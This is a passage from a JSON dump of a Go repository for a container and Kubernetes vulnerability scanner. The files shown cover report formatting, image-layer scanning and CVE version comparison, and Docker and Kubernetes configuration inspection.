{\n\t\treturn err\n\t}\n\terr = ioutil.WriteFile(filename, data, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Printf(\"\\n\")\n\tlog.Printf(\"Output file is saved in: %s\", config.Yellow(filename))\n\n\treturn nil\n}\n\nfunc AnalyzeDockerToJson(ctx context.Context, r analyzer.Scanner) error {\n\tfilename, err := getOutputFile(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(r.VulnContainers)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = ioutil.WriteFile(filename, data, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Printf(\"\\n\")\n\tlog.Printf(\"Output file is saved in: %s\", config.Yellow(filename))\n\n\treturn nil\n}\n\nfunc AnalyzeKubernetesToJson(ctx context.Context, r analyzer.KScanner) error {\n\n\tfilename, err := getOutputFile(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar f *os.File\n\tif !exists(filename) {\n\t\tf, err = os.Create(filename)\n\t} else {\n\t\tf, err = os.OpenFile(filename, os.O_WRONLY, 0644)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer f.Close()\n\n\tdataPods, err := json.Marshal(r.VulnContainers)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = f.Write(dataPods)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdataConfig, err := json.Marshal(r.VulnConfigures)\n\n\t_, err = f.Write(dataConfig)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Printf(\"\\n\")\n\tlog.Printf(\"Output file is saved in: %s\", config.Yellow(filename))\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/report/output.go",
    "content": "package report\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/internal/analyzer\"\n\t\"github.com/kvesta/vesta/internal/vulnscan\"\n\n\t\"github.com/olekukonko/tablewriter\"\n)\n\n// ResolveAnalysisData print the result of image scan\nfunc ResolveAnalysisData(ctx context.Context, r vulnscan.Scanner) error {\n\n\tcritical, high, medium, low := 0, 0, 0, 0\n\n\tfor _, c := range r.Vulns {\n\t\tswitch strings.ToLower(c.Level) {\n\t\tcase \"critical\":\n\t\t\tcritical += 1\n\t\tcase \"high\":\n\t\t\thigh += 1\n\t\tcase \"medium\":\n\t\t\tmedium += 1\n\t\tcase \"low\":\n\t\t\tlow += 1\n\t\tdefault:\n\t\t\t// ignore\n\t\t}\n\t}\n\n\tfmt.Printf(\"\\nDetected %s vulnerabilities | \"+\n\t\t\"Critical: %s High: %s Medium: %s Low: %s\\n\\n\",\n\t\tconfig.Yellow(len(r.Vulns)),\n\t\tconfig.Red(critical),\n\t\tconfig.Pink(high),\n\t\tconfig.Yellow(medium),\n\t\tconfig.Green(low))\n\n\ttable := tablewriter.NewWriter(os.Stdout)\n\n\ttable.SetHeader([]string{\"ID\", \"Name\", \"Current/Vulnerable Version\", \"CVEID\", \"Score\", \"Level\", \"Description\"})\n\ttable.SetRowLine(true)\n\ttable.SetAutoMergeCellsByColumnIndex([]int{1})\n\n\tvar Des string\n\tvar currentType = \"System\"\n\tfor i, c := range r.Vulns {\n\n\t\tif c.Type != currentType {\n\t\t\ttable.Render()\n\t\t\ttable.ClearRows()\n\n\t\t\tcurrentType = c.Type\n\t\t\tfmt.Printf(\"\\n\\n%s:\\n\", c.Type)\n\t\t}\n\n\t\tscroe := fmt.Sprintf(\"%.1f\", c.Score)\n\n\t\t// Limit the length of description\n\t\tif len(c.Desc) > 200 {\n\t\t\tDes = c.Desc[:200] + \" ...\"\n\t\t} else {\n\t\t\tDes = c.Desc\n\t\t}\n\n\t\tvulnData := []string{\n\t\t\tstrconv.Itoa(i + 1), c.Name,\n\t\t\tfmt.Sprintf(\"%s / %s\", c.CurrentVersion, c.VulnerableVersion),\n\t\t\tc.CVEID, scroe, judgeSeverity(c.Level), Des,\n\t\t}\n\n\t\ttable.Append(vulnData)\n\t}\n\n\ttable.Render()\n\n\treturn nil\n}\n\n// ResolveDockerData print the result of analyze by docker\nfunc ResolveDockerData(ctx context.Context, r analyzer.Scanner) error {\n\n\tcritical, high, medium, low := 0, 0, 0, 0\n\n\tfor _, c := range r.VulnContainers {\n\t\tfor _, v := range c.Threats {\n\t\t\tswitch strings.ToLower(v.Severity) {\n\t\t\tcase \"critical\":\n\t\t\t\tcritical += 1\n\t\t\tcase \"high\":\n\t\t\t\thigh += 1\n\t\t\tcase \"medium\":\n\t\t\t\tmedium += 1\n\t\t\tcase \"low\":\n\t\t\t\tlow += 1\n\t\t\tdefault:\n\t\t\t\t// ignore\n\t\t\t}\n\t\t}\n\n\t}\n\n\tfmt.Printf(\"\\nDetected %s vulnerabilities | \"+\n\t\t\"Critical: %s High: %s Medium: %s Low: %s\\n\\n\",\n\t\tconfig.Yellow(len(r.VulnContainers)),\n\t\tconfig.Red(critical),\n\t\tconfig.Pink(high),\n\t\tconfig.Yellow(medium),\n\t\tconfig.Green(low))\n\n\ttable := tablewriter.NewWriter(os.Stdout)\n\ttable.SetHeader([]string{\"ID\", \"Container Detail\", \"Param\",\n\t\t\"Value\", \"Severity\", \"Description\"})\n\ttable.SetRowLine(true)\n\ttable.SetAutoMergeCellsByColumnIndex([]int{0, 1})\n\n\tfor i, c := range r.VulnContainers {\n\n\t\tfor _, v := range c.Threats {\n\t\t\tvulnData := []string{strconv.Itoa(i + 1),\n\t\t\t\tfmt.Sprintf(\"Name: %s \\nID: %s\", c.ContainerName, c.ContainerID),\n\t\t\t\tv.Param, v.Value, judgeSeverity(v.Severity), v.Describe,\n\t\t\t}\n\n\t\t\ttable.Append(vulnData)\n\t\t}\n\t}\n\n\ttable.Render()\n\n\treturn nil\n}\n\n// ResolveKuberData print the result of analyze by kubernetes\nfunc ResolveKuberData(ctx context.Context, r analyzer.KScanner) error {\n\n\t// Report pod condition\n\n\tcritical, high, medium, low, warning := 0, 0, 0, 0, 0\n\n\tfor _, c := range r.VulnContainers {\n\t\tfor _, v := range c.Threats {\n\t\t\tswitch strings.ToLower(v.Severity) {\n\t\t\tcase \"critical\":\n\t\t\t\tcritical += 1\n\t\t\tcase \"high\":\n\t\t\t\thigh += 1\n\t\t\tcase \"medium\":\n\t\t\t\tmedium += 1\n\t\t\tcase \"low\":\n\t\t\t\tlow += 1\n\t\t\tcase \"warning\":\n\t\t\t\twarning += 1\n\t\t\tdefault:\n\t\t\t\t// ignore\n\t\t\t}\n\t\t}\n\n\t}\n\n\tfor _, v := range r.VulnConfigures {\n\t\tswitch strings.ToLower(v.Severity) {\n\t\tcase \"critical\":\n\t\t\tcritical += 1\n\t\tcase \"high\":\n\t\t\thigh += 1\n\t\tcase \"medium\":\n\t\t\tmedium += 1\n\t\tcase \"low\":\n\t\t\tlow += 1\n\t\tcase \"warning\":\n\t\t\twarning += 1\n\t\tdefault:\n\t\t\t// ignore\n\t\t}\n\t\t\n\n\t}\n\n\tfmt.Printf(\"\\nDetected %s vulnerabilities | \"+\n\t\t\"Critical: %s High: %s Medium: %s Low: %s Warning: %d\\n\\n\",\n\t\tconfig.Yellow(len(r.VulnContainers)+len(r.VulnConfigures)),\n\t\tconfig.Red(critical),\n\t\tconfig.Pink(high),\n\t\tconfig.Yellow(medium),\n\t\tconfig.Green(low),\n\t\twarning)\n\n\tif len(r.VulnContainers)+len(r.VulnConfigures) == 0 {\n\t\treturn nil\n\t}\n\n\tfmt.Printf(\"Pods:\\n\")\n\n\ttable := tablewriter.NewWriter(os.Stdout)\n\ttable.SetHeader([]string{\"ID\", \"Pod Detail\", \"Param\", \"Value\",\n\t\t\"Type\", \"Severity\", \"Description\"})\n\ttable.SetRowLine(true)\n\ttable.SetAutoMergeCellsByColumnIndex([]int{0, 1})\n\n\tfor i, p := range r.VulnContainers {\n\t\tfor _, v := range p.Threats {\n\n\t\t\tnodeName := \"\"\n\t\t\tif r.MasterNodes[p.NodeName] != nil && r.MasterNodes[p.NodeName].IsMaster {\n\t\t\t\tnodeName = fmt.Sprintf(\"%s (%s)\",\n\t\t\t\t\tp.NodeName, config.Red(\"Master\"))\n\t\t\t} else {\n\t\t\t\tnodeName = p.NodeName\n\t\t\t}\n\n\t\t\tvulnData := []string{\n\t\t\t\tstrconv.Itoa(i + 1), fmt.Sprintf(\"Name: %s | \"+\n\t\t\t\t\t\"Namespace: %s | \"+\n\t\t\t\t\t\"Status: %s | \"+\n\t\t\t\t\t\"Node Name: %s\", p.ContainerName, p.Namepsace,\n\t\t\t\t\tp.Status, nodeName),\n\t\t\t\tv.Param, v.Value, v.Type,\n\t\t\t\tjudgeSeverity(v.Severity), v.Describe,\n\t\t\t}\n\n\t\t\ttable.Append(vulnData)\n\t\t}\n\t}\n\ttable.Render()\n\n\tfmt.Printf(\"\\nConfigures:\\n\")\n\ttable = tablewriter.NewWriter(os.Stdout)\n\ttable.SetHeader([]string{\"ID\", \"Type\", \"Param\", \"Value\",\n\t\t\"Severity\", \"Description\"})\n\ttable.SetRowLine(true)\n\ttable.SetAutoMergeCellsByColumnIndex([]int{1})\n\n\tfor i, c := range r.VulnConfigures {\n\t\tvulnData := []string{strconv.Itoa(i + 1), c.Type, c.Param,\n\t\t\tc.Value, judgeSeverity(c.Severity), c.Describe}\n\t\ttable.Append(vulnData)\n\n\t}\n\n\ttable.Render()\n\n\treturn nil\n}\n\nfunc judgeSeverity(severity string) string {\n\n\tseverityLow := strings.ToLower(severity)\n\n\tswitch severityLow {\n\tcase \"critical\":\n\t\treturn config.Red(\"critical\")\n\tcase \"high\":\n\t\treturn config.Pink(\"high\")\n\tcase \"medium\":\n\t\treturn config.Yellow(\"medium\")\n\tcase \"low\":\n\t\treturn config.Green(\"low\")\n\tcase \"warning\":\n\t\treturn \"warning\"\n\tdefault:\n\t\t// ignore\n\t}\n\treturn \"unknown\"\n}\n"
  },
  {
    "path": "internal/scanner.go",
    "content": "package internal\n\nimport (\n\t\"github.com/kvesta/vesta/internal/analyzer\"\n\t\"github.com/kvesta/vesta/internal/vulnscan\"\n\t\"github.com/kvesta/vesta/pkg/layer\"\n\t\"github.com/kvesta/vesta/pkg/osrelease\"\n\t\"github.com/kvesta/vesta/pkg/packages\"\n)\n\ntype Vuln struct {\n\tScan vulnscan.Scanner\n\t// get layer information\n\tMani *layer.Manifest\n\t// get os release\n\tOsRelease *osrelease.OsVersion\n\t// list all installed packages\n\tPacks *packages.Packages\n}\n\ntype Inpsectors struct {\n\tScan  analyzer.Scanner\n\tKscan analyzer.KScanner\n}\n"
  },
  {
    "path": "internal/utils.go",
    "content": "package internal\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/internal/report\"\n\t\"github.com/kvesta/vesta/pkg/inspector\"\n\t\"github.com/kvesta/vesta/pkg/layer\"\n\t\"github.com/kvesta/vesta/pkg/osrelease\"\n\t\"github.com/kvesta/vesta/pkg/packages\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n\n\t\"github.com/docker/docker/client\"\n\t\"k8s.io/client-go/kubernetes\"\n\trestclient \"k8s.io/client-go/rest\"\n\t\"k8s.io/client-go/tools/clientcmd\"\n\t\"k8s.io/client-go/util/homedir\"\n)\n\nfunc DoScan(ctx context.Context, tarFile string, tarIO []io.ReadCloser) {\n\n\tvar wg sync.WaitGroup\n\tvar m *layer.Manifest\n\n\t// Get vulnerability database\n\tif !ctx.Value(\"skip\").(bool) {\n\t\terr := vulnlib.Fetch(ctx)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to get vulnerability database\")\n\t\t}\n\t}\n\n\tif ctx.Value(\"tarType\").(string) != \"filesystem\" {\n\t\tlog.Printf(config.Green(\"Begin to analyze the layer\"))\n\n\t\t// Extract tar file to local folder\n\t\tvar err error\n\t\tm, err = Extract(ctx, tarFile, tarIO)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Extract container failed, error: %v\\n\"+\n\t\t\t\t\"\\tTips: try to use the container scan\", err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\t// Use path directly\n\t\tm = &layer.Manifest{\n\t\t\tLocalpath: tarFile,\n\t\t}\n\t}\n\n\tosVersion, err := osrelease.DetectOs(ctx, *m)\n\tlog.Printf(\"Detect OS: %s\", osVersion.OID)\n\n\tvulns := &Vuln{\n\t\tOsRelease: osVersion,\n\t\tMani:      m,\n\t\tPacks: &packages.Packages{\n\t\t\tMani:      *m,\n\t\t\tOsRelease: *osVersion,\n\t\t},\n\t}\n\n\tpacks := vulns.Packs\n\terr = packs.GetApp(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"package error %v\", err)\n\t}\n\n\tscanner := vulns.Scan\n\n\terr = scanner.Scan(ctx, m, packs)\n\tif err != nil {\n\t\tlog.Printf(\"scan error %v\", err)\n\t}\n\n\tif ctx.Value(\"tarType\").(string) == \"filesystem\" {\n\t\tgoto rep\n\t}\n\n\tgo func() {\n\t\twg.Add(1)\n\n\t\tdefer wg.Done()\n\t\tif len(tarIO) > 0 {\n\t\t\tfor _, f := range tarIO {\n\t\t\t\tf.Close()\n\t\t\t}\n\t\t}\n\n\t\t// Check directory is legal\n\t\tpwd, err := os.Getwd()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to remove %s : %v\", m.Localpath, err)\n\t\t}\n\t\tif pwd == m.Localpath {\n\t\t\treturn\n\t\t}\n\n\t\terr = os.RemoveAll(m.Localpath)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to remove %s : %v\", m.Localpath, err)\n\t\t}\n\t}()\n\nrep:\n\terr = report.ResolveAnalysisData(ctx, scanner)\n\tif err != nil {\n\t\tlog.Printf(\"report error %v\", err)\n\t}\n\n\terr = report.ScanToJson(ctx, scanner)\n\tif err != nil {\n\t\tlog.Printf(\"saving error %v\", err)\n\t}\n\n\twg.Wait()\n}\n\n// DoInspectInDocker inspect docker configure\nfunc DoInspectInDocker(ctx context.Context) {\n\n\tlog.Printf(config.Green(\"Start analysing\"))\n\n\tcli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())\n\tif err != nil {\n\t\tlog.Printf(\"Cannot initialized docker environment, error: %v\", err)\n\t\treturn\n\t}\n\n\tc := inspector.DockerApi{\n\t\tDCli: cli,\n\t}\n\n\tengineVersion, err := c.GetEngineVersion(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"Cannot get engine version, error: %v\", err)\n\t}\n\n\tserverVersion, err := c.GetDockerServerVersion(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"Cannot get server version, error: %v\", err)\n\t}\n\tinspects := &Inpsectors{}\n\n\tscanner := inspects.Scan\n\tscanner.DApi = c\n\tscanner.EngineVersion = engineVersion\n\tscanner.ServerVersion = serverVersion\n\terr = scanner.Analyze(ctx)\n\n\tif err != nil {\n\t\tlog.Printf(\"Snalyze error %v\", err)\n\t\treturn\n\t}\n\n\terr = report.ResolveDockerData(ctx, scanner)\n\tif err != nil {\n\t\tlog.Printf(\"Report error %v\", err)\n\t}\n\n\terr = report.AnalyzeDockerToJson(ctx, scanner)\n\tif err != nil {\n\t\tlog.Printf(\"Saving error %v\", err)\n\t}\n\n}\n\n// DoInspectInKubernetes inspect kubernetes' configure\nfunc DoInspectInKubernetes(ctx context.Context) {\n\n\tlog.Printf(config.Green(\"Start analysing\"))\n\n\tvar kubeconfig string\n\tvar kconfig *restclient.Config\n\tvar err error\n\n\tconst tokenFile = \"/var/run/secrets/kubernetes.io/serviceaccount/token\"\n\n\t// Checking whether inside a pod\n\tif _, err := os.Stat(tokenFile); os.IsNotExist(err) {\n\t\tctx = context.WithValue(ctx, \"inside\", false)\n\t} else {\n\t\tctx = context.WithValue(ctx, \"inside\", true)\n\t}\n\n\tif ctx.Value(\"kubeconfig\") != \"default\" {\n\t\tkubeconfig = ctx.Value(\"kubeconfig\").(string)\n\t} else if home := homedir.HomeDir(); home != \"\" {\n\t\tif exists(filepath.Join(home, \".kube\", \"config\")) {\n\t\t\tkubeconfig = filepath.Join(home, \".kube\", \"config\")\n\t\t} else if exists(\"/etc/rancher/k3s/k3s.yaml\") {\n\t\t\t// for k3s\n\t\t\tkubeconfig = \"/etc/rancher/k3s/k3s.yaml\"\n\t\t} else if exists(\"/etc/k0s/k0s.yaml\") {\n\t\t\t// for k0s\n\t\t\tkubeconfig = \"/etc/k0s/k0s.yaml\"\n\t\t}\n\n\t} else {\n\t\t// use original config of kubernetes\n\t\tif exists(\"/etc/kubernetes/config/admin.conf\") {\n\t\t\tkubeconfig = \"/etc/kubernetes/config/admin.conf\"\n\t\t} else if exists(\"/etc/rancher/k3s/k3s.yaml\") {\n\t\t\tkubeconfig = \"/etc/rancher/k3s/k3s.yaml\"\n\t\t} else if exists(\"/etc/k0s/k0s.yaml\") {\n\t\t\tkubeconfig = \"/etc/k0s/k0s.yaml\"\n\t\t}\n\n\t}\n\n\t// Set the server host if exist\n\tif host := ctx.Value(\"server\").(string); host != \"\" {\n\t\tkconfig, err = clientcmd.BuildConfigFromFlags(host, kubeconfig)\n\t} else {\n\t\tkconfig, err = clientcmd.BuildConfigFromFlags(\"\", kubeconfig)\n\t}\n\n\t// Set the insecure method\n\tif ctx.Value(\"insecure\").(bool) {\n\t\tkconfig.Insecure = true\n\t}\n\n\t// Authenticate with token\n\tif BearerToken := ctx.Value(\"token\").(string); BearerToken != \"\" {\n\t\tkconfig.BearerToken = BearerToken\n\t}\n\n\tif err != nil {\n\t\tlog.Printf(\"Cannot initialize kubernetes environment, error: %v\", err)\n\t\treturn\n\t}\n\n\tclientset, err := kubernetes.NewForConfig(kconfig)\n\tif err != nil {\n\t\tlog.Printf(\"Cannot get all kubernetes inpector, error: %v\", err)\n\t}\n\n\tinspects := &Inpsectors{}\n\tscanner := inspects.Kscan\n\tscanner.KClient = clientset\n\tscanner.KConfig = kconfig\n\terr = scanner.Kanalyze(ctx)\n\n\tif err != nil {\n\t\tlog.Printf(\"Analyze error\")\n\t}\n\n\terr = report.ResolveKuberData(ctx, scanner)\n\tif err != nil {\n\t\tlog.Printf(\"Report error %v\", err)\n\t}\n\n\terr = report.AnalyzeKubernetesToJson(ctx, scanner)\n\tif err != nil {\n\t\tlog.Printf(\"Saving error %v\", err)\n\t}\n}\n"
  },
  {
    "path": "internal/vulnscan/scanner.go",
    "content": "package vulnscan\n\nimport (\n\t\"github.com/kvesta/vesta/pkg/packages\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n)\n\ntype Scanner struct {\n\tVulnerabilities int\n\tVulns           []*vulnComponent\n\tVulnDB          vulnlib.Client\n\n\tVulnPacks packages.Packages\n}\n\ntype vulnComponent struct {\n\tName           string\n\tCurrentVersion string\n\tType           string\n\n\tCVEID             string\n\tVulnerableVersion string\n\tLevel             string\n\tPublishDate       string\n\tDesc              string\n\tScore             float64\n}\n"
  },
  {
    "path": "internal/vulnscan/utils.go",
    "content": "package vulnscan\n\nimport (\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/kvesta/vesta/config\"\n)\n\nfunc sortSeverity(vulnComponents []*vulnComponent) {\n\tsort.Slice(vulnComponents, func(i, j int) bool {\n\t\treturn config.SeverityMap[strings.ToLower(vulnComponents[i].Level)] > config.SeverityMap[strings.ToLower(vulnComponents[j].Level)]\n\t})\n}\n\nfunc exists(path string) bool {\n\t_, err := os.Stat(path)\n\tif err != nil {\n\t\tif os.IsExist(err) {\n\t\t\treturn true\n\t\t}\n\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc listPythonSitePack(sitePath string) []string {\n\ttargetPaths := []string{}\n\n\tfsys := os.DirFS(sitePath)\n\n\tif err := fs.WalkDir(fsys, \".\", func(path string, d fs.DirEntry, err error) error {\n\t\tswitch {\n\t\tcase err != nil:\n\t\t\treturn err\n\t\tcase d.IsDir():\n\t\t\treturn nil\n\t\t}\n\n\t\tif filepath.Base(path) == \"setup.py\" || filepath.Base(path) == \"__init__.py\" {\n\t\t\ttargetPaths = append(targetPaths, path)\n\t\t}\n\t\treturn nil\n\n\t}); err != nil {\n\t\treturn targetPaths\n\t}\n\n\treturn targetPaths\n}\n\nfunc listPythonPth(sitePath string) []string {\n\ttargetPaths := []string{}\n\tfiles, err := ioutil.ReadDir(sitePath)\n\tif err != nil {\n\t\treturn targetPaths\n\t}\n\n\tfor _, file := range files {\n\t\tif file.IsDir() {\n\t\t\tcontinue\n\t\t}\n\n\t\tif filepath.Ext(file.Name()) == \".pth\" {\n\t\t\ttargetPaths = append(targetPaths, file.Name())\n\t\t}\n\t}\n\n\treturn targetPaths\n}\n"
  },
  {
    "path": "internal/vulnscan/vuln.go",
    "content": "package vulnscan\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/internal/analyzer\"\n\t\"github.com/kvesta/vesta/pkg/layer\"\n\t\"github.com/kvesta/vesta/pkg/match\"\n\t\"github.com/kvesta/vesta/pkg/packages\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n\n\tversion2 \"github.com/hashicorp/go-version\"\n\trpmversion \"github.com/knqyf263/go-rpm-version\"\n)\n\nfunc (ps *Scanner) Scan(ctx context.Context, m *layer.Manifest, p *packages.Packages) error {\n\tlog.Printf(config.Green(\"Begin to scan the layer\"))\n\n\terr := ps.VulnDB.Init()\n\n\tif err != nil {\n\t\tlog.Printf(\"failed to fetch database\")\n\t\treturn err\n\t}\n\n\tdefer ps.VulnDB.DB.Close()\n\n\terr = ps.checkPackageVersion(ctx, p.Packs, p.OsRelease.OID)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check package's version\")\n\t}\n\n\terr = ps.checkPythonModule(ctx, p.PythonPacks, m)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check python module\")\n\t}\n\n\terr = ps.checkNpmModule(ctx, p.NodePacks)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check node module\")\n\t}\n\n\terr = ps.checkGoMod(ctx, p.GOPacks)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check go mod\")\n\t}\n\n\terr = ps.checkJavaPacks(ctx, p.JavaPacks)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check go mod\")\n\t}\n\n\terr = ps.checkPHPPacks(ctx, p.PHPPacks)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check php packs\")\n\t}\n\n\terr = ps.checkRustPacks(ctx, p.RustPacks)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check rust packs\")\n\t}\n\n\terr = ps.getOthers(ctx, p.Others)\n\tif err != nil {\n\t\tlog.Printf(\"failed to get others packages\")\n\t}\n\n\terr = ps.checkPassword(ctx, m)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check /etc/passwd\")\n\t}\n\n\t// Check the image history if exist\n\tif ok, tlist := analyzer.CheckHistories(m.Histories); ok {\n\t\thistoryVuln := []*vulnComponent{}\n\t\tfor _, t := range tlist {\n\t\t\tvuln := &vulnComponent{\n\t\t\t\tName:              t.Param,\n\t\t\t\tLevel:             t.Severity,\n\t\t\t\tCVEID:             \"-\",\n\t\t\t\tDesc:              t.Describe,\n\t\t\t\tScore:             0.0,\n\t\t\t\tCurrentVersion:    \"-\",\n\t\t\t\tType:              \"Docker Histories\",\n\t\t\t\tVulnerableVersion: \"-\",\n\t\t\t}\n\n\t\t\thistoryVuln = append(historyVuln, vuln)\n\t\t}\n\n\t\tsortSeverity(historyVuln)\n\t\tps.Vulns = append(ps.Vulns, historyVuln...)\n\n\t}\n\n\treturn err\n}\n\nfunc getInfo(row *vulnlib.DBRow, version, packType string) *vulnComponent {\n\tvuln := &vulnComponent{\n\t\tLevel:          row.Level,\n\t\tCVEID:          row.CVEID,\n\t\tDesc:           row.Description,\n\t\tPublishDate:    row.PublishDate,\n\t\tScore:          row.Score,\n\t\tCurrentVersion: version,\n\t\tType:           packType,\n\t}\n\n\tif strings.HasPrefix(row.MaxVersion, \"=\") {\n\t\tvuln.VulnerableVersion = \"<=\" + row.MaxVersion[1:]\n\t} else {\n\t\tvuln.VulnerableVersion = \"<\" + row.MaxVersion\n\t}\n\n\treturn vuln\n}\n\nfunc compareVersion(rows []*vulnlib.DBRow, cv, ty string, cp []string) ([]*vulnComponent, bool) {\n\n\tvar isVulnerable = false\n\tvulns := []*vulnComponent{}\n\n\tfor _, row := range rows {\n\n\t\t// Skip same name which from different component\n\t\tskip := true\n\t\tfor _, c := range cp {\n\t\t\tif c == row.Component {\n\t\t\t\tskip = false\n\t\t\t}\n\t\t}\n\n\t\tif skip {\n\t\t\tcontinue\n\t\t}\n\n\t\tcurrentVersion, err := version2.NewVersion(cv)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif row.MaxVersion == \"*\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tif strings.Contains(row.MaxVersion, \"=\") {\n\t\t\tvulnMaxVersion, err := version2.NewVersion(row.MaxVersion[1:])\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif strings.Contains(row.MinVersion, \"=\") {\n\t\t\t\tvulnMinVersion, err := version2.NewVersion(row.MinVersion[1:])\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif currentVersion.Compare(vulnMaxVersion) <= 0 &&\n\t\t\t\t\tcurrentVersion.Compare(vulnMinVersion) >= 0 {\n\t\t\t\t\tvuln := getInfo(row, currentVersion.String(), ty)\n\t\t\t\t\tvulns = append(vulns, vuln)\n\n\t\t\t\t\tisVulnerable = true\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tvulnMinVersion, err := version2.NewVersion(row.MinVersion)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif currentVersion.Compare(vulnMaxVersion) <= 0 &&\n\t\t\t\t\tcurrentVersion.Compare(vulnMinVersion) > 0 {\n\t\t\t\t\tvuln := getInfo(row, currentVersion.String(), ty)\n\t\t\t\t\tvulns = append(vulns, vuln)\n\n\t\t\t\t\tisVulnerable = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\t\t\tvulnMaxVersion, err := version2.NewVersion(row.MaxVersion)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif strings.Contains(row.MinVersion, \"=\") {\n\t\t\t\tvulnMinVersion, err := version2.NewVersion(row.MinVersion[1:])\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif currentVersion.Compare(vulnMaxVersion) < 0 &&\n\t\t\t\t\tcurrentVersion.Compare(vulnMinVersion) >= 0 {\n\t\t\t\t\tvuln := getInfo(row, currentVersion.String(), ty)\n\t\t\t\t\tvulns = append(vulns, vuln)\n\n\t\t\t\t\tisVulnerable = true\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tvulnMinVersion, err := version2.NewVersion(row.MinVersion)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif currentVersion.Compare(vulnMaxVersion) < 0 &&\n\t\t\t\t\tcurrentVersion.Compare(vulnMinVersion) > 0 {\n\t\t\t\t\tvuln := getInfo(row, currentVersion.String(), ty)\n\t\t\t\t\tvulns = append(vulns, vuln)\n\n\t\t\t\t\tisVulnerable = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vulns, isVulnerable\n}\n\nfunc compareRpmVersion(rows []*vulnlib.DBRow, cv, ty string, cp []string) ([]*vulnComponent, bool) {\n\n\tvar isVulnerable = false\n\tvulns := []*vulnComponent{}\n\n\tfor _, row := range rows {\n\n\t\t// Skip same name which from different component\n\t\tskip := true\n\t\tfor _, c := range cp {\n\t\t\tif c == row.Component {\n\t\t\t\tskip = false\n\t\t\t}\n\t\t}\n\n\t\tif skip {\n\t\t\tcontinue\n\t\t}\n\n\t\tcurrentVersion := rpmversion.NewVersion(cv)\n\n\t\tif row.MaxVersion == \"*\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tif strings.Contains(row.MaxVersion, \"=\") {\n\t\t\tvulnMaxVersion := rpmversion.NewVersion(row.MaxVersion[1:])\n\n\t\t\tif strings.Contains(row.MinVersion, \"=\") {\n\t\t\t\tvulnMinVersion := rpmversion.NewVersion(row.MinVersion[1:])\n\n\t\t\t\tif currentVersion.Compare(vulnMaxVersion) <= 0 &&\n\t\t\t\t\tcurrentVersion.Compare(vulnMinVersion) >= 0 {\n\t\t\t\t\tvuln := getInfo(row, currentVersion.Version(), ty)\n\t\t\t\t\tvulns = append(vulns, vuln)\n\n\t\t\t\t\tisVulnerable = true\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tvulnMinVersion := rpmversion.NewVersion(row.MinVersion)\n\n\t\t\t\tif currentVersion.Compare(vulnMaxVersion) <= 0 &&\n\t\t\t\t\tcurrentVersion.Compare(vulnMinVersion) > 0 {\n\t\t\t\t\tvuln := getInfo(row, currentVersion.Version(), ty)\n\t\t\t\t\tvulns = append(vulns, vuln)\n\n\t\t\t\t\tisVulnerable = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\t\t\tvulnMaxVersion := rpmversion.NewVersion(row.MaxVersion)\n\n\t\t\tif strings.Contains(row.MinVersion, 